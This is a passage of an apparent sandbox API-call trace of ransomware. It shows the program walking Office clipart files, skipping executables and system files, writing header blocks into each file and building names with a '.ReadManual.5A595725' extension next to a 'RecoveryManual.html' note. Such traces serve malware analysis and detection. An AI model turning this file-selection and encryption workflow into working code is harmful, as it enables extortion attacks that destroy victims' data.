Office\\CLIPART\\PUB60COR\\J0158071.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158071.wmf")) returned 0x20 [0267.375] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158071.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.376] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=18652) returned 1 [0267.376] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x48dc, lpName=0x0) returned 0x184 [0267.376] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.376] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.376] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.378] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.378] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x48dc) returned 0x2f0000 [0267.378] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.378] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38804725804) returned 1 [0267.379] CloseHandle (hObject=0x184) returned 1 [0267.379] SetSecurityInfo () returned 0x57 [0267.379] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.379] CloseHandle (hObject=0x194) returned 1 [0267.379] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x462e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0158477.WMF", cAlternateFileName="")) returned 1 [0267.379] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0158477.WMF" | out: lpString1="J0158477.WMF") returned="J0158477.WMF" [0267.379] lstrcmpiW (lpString1="J0158477.WMF", lpString2="RecoveryManual.html") returned -1 [0267.379] StrStrIW (lpFirst="J0158477.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.379] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.379] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.379] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.379] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.379] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.379] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.379] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.379] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.379] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.379] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.379] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.379] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.379] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.379] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.379] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF" [0267.379] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF.ReadManual.5A595725" [0267.379] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF.ReadManual.5A595725") returned 87 [0267.379] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38804821891) returned 1 [0267.380] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158477.wmf")) returned 0x20 [0267.380] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158477.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.381] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=17966) returned 1 [0267.381] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x462e, lpName=0x0) returned 0x184 [0267.381] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.381] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.382] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.384] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.384] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x462e) returned 0x2f0000 [0267.384] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.385] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38805332563) returned 1 [0267.385] CloseHandle (hObject=0x184) returned 1 [0267.385] SetSecurityInfo () returned 0x57 [0267.385] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.385] CloseHandle (hObject=0x194) returned 1 [0267.385] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x72de, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0160590.WMF", cAlternateFileName="")) returned 1 [0267.386] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0160590.WMF" | out: lpString1="J0160590.WMF") returned="J0160590.WMF" [0267.386] lstrcmpiW (lpString1="J0160590.WMF", lpString2="RecoveryManual.html") returned -1 [0267.386] StrStrIW (lpFirst="J0160590.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.386] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.386] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.386] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.386] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.386] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.386] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.386] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.386] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.386] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.386] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.386] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.386] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.386] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.386] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.386] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF" [0267.386] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF.ReadManual.5A595725" [0267.386] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF.ReadManual.5A595725") returned 87 [0267.386] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38805511227) returned 1 [0267.386] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0160590.wmf")) returned 0x20 [0267.398] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0160590.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.398] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=29406) returned 1 [0267.398] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x72de, lpName=0x0) returned 0x184 [0267.398] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.399] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.399] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.401] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.402] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x72de) returned 0x2f0000 [0267.402] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.402] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38807080474) returned 1 [0267.402] CloseHandle (hObject=0x184) returned 1 [0267.402] SetSecurityInfo () returned 0x57 [0267.402] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.402] CloseHandle (hObject=0x194) returned 1 [0267.402] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb594, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0164153.JPG", cAlternateFileName="")) returned 1 [0267.402] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0164153.JPG" | out: lpString1="J0164153.JPG") returned="J0164153.JPG" [0267.402] lstrcmpiW (lpString1="J0164153.JPG", lpString2="RecoveryManual.html") returned -1 [0267.402] StrStrIW (lpFirst="J0164153.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.402] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0267.403] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0267.403] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0267.403] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0267.403] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0267.403] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0267.403] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0267.403] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0267.403] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0267.403] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0267.403] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0267.403] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0267.403] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0267.403] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0267.403] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG" [0267.403] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG.ReadManual.5A595725" [0267.403] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG.ReadManual.5A595725") returned 87 [0267.403] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38807172046) returned 1 [0267.403] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0164153.jpg")) returned 0x20 [0267.403] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0164153.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.403] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=46484) returned 1 [0267.404] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb594, lpName=0x0) returned 0x184 [0267.404] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.404] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.404] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.407] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.407] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb594) returned 0x2f0000 [0267.408] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.409] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38807747096) returned 1 [0267.409] CloseHandle (hObject=0x184) returned 1 [0267.409] SetSecurityInfo () returned 0x57 [0267.409] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.409] CloseHandle (hObject=0x194) returned 1 [0267.409] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x51aa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0168644.WMF", cAlternateFileName="")) returned 1 [0267.409] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0168644.WMF" | out: lpString1="J0168644.WMF") returned="J0168644.WMF" [0267.409] lstrcmpiW (lpString1="J0168644.WMF", lpString2="RecoveryManual.html") returned -1 [0267.409] StrStrIW (lpFirst="J0168644.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.409] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.409] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.409] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.409] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.409] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.409] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.409] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.409] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.409] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.409] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.409] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.410] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.410] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.410] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.410] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF" [0267.410] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF.ReadManual.5A595725" [0267.410] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF.ReadManual.5A595725") returned 87 [0267.410] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38807848288) returned 1 [0267.410] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0168644.wmf")) returned 0x20 [0267.410] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0168644.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.410] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=20906) returned 1 [0267.410] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x51aa, lpName=0x0) returned 0x184 [0267.410] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.411] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.411] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.413] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.413] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x51aa) returned 0x2f0000 [0267.413] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.414] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38808230027) returned 1 [0267.414] CloseHandle (hObject=0x184) returned 1 [0267.414] SetSecurityInfo () returned 0x57 [0267.414] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.414] CloseHandle (hObject=0x194) returned 1 [0267.414] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3888, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0171685.WMF", cAlternateFileName="")) returned 1 [0267.414] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0171685.WMF" | out: lpString1="J0171685.WMF") returned="J0171685.WMF" [0267.414] lstrcmpiW (lpString1="J0171685.WMF", lpString2="RecoveryManual.html") returned -1 [0267.414] StrStrIW (lpFirst="J0171685.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.414] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.414] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.414] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.414] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.414] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.414] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.414] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.414] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.414] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.414] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.414] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.414] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.414] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.414] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.414] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF" [0267.414] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF.ReadManual.5A595725" [0267.414] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF.ReadManual.5A595725") returned 87 [0267.414] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38808327028) returned 1 [0267.415] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171685.wmf")) returned 0x20 [0267.415] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171685.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.415] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=14472) returned 1 [0267.415] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3888, lpName=0x0) returned 0x184 [0267.415] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.416] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.416] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.419] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.419] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, 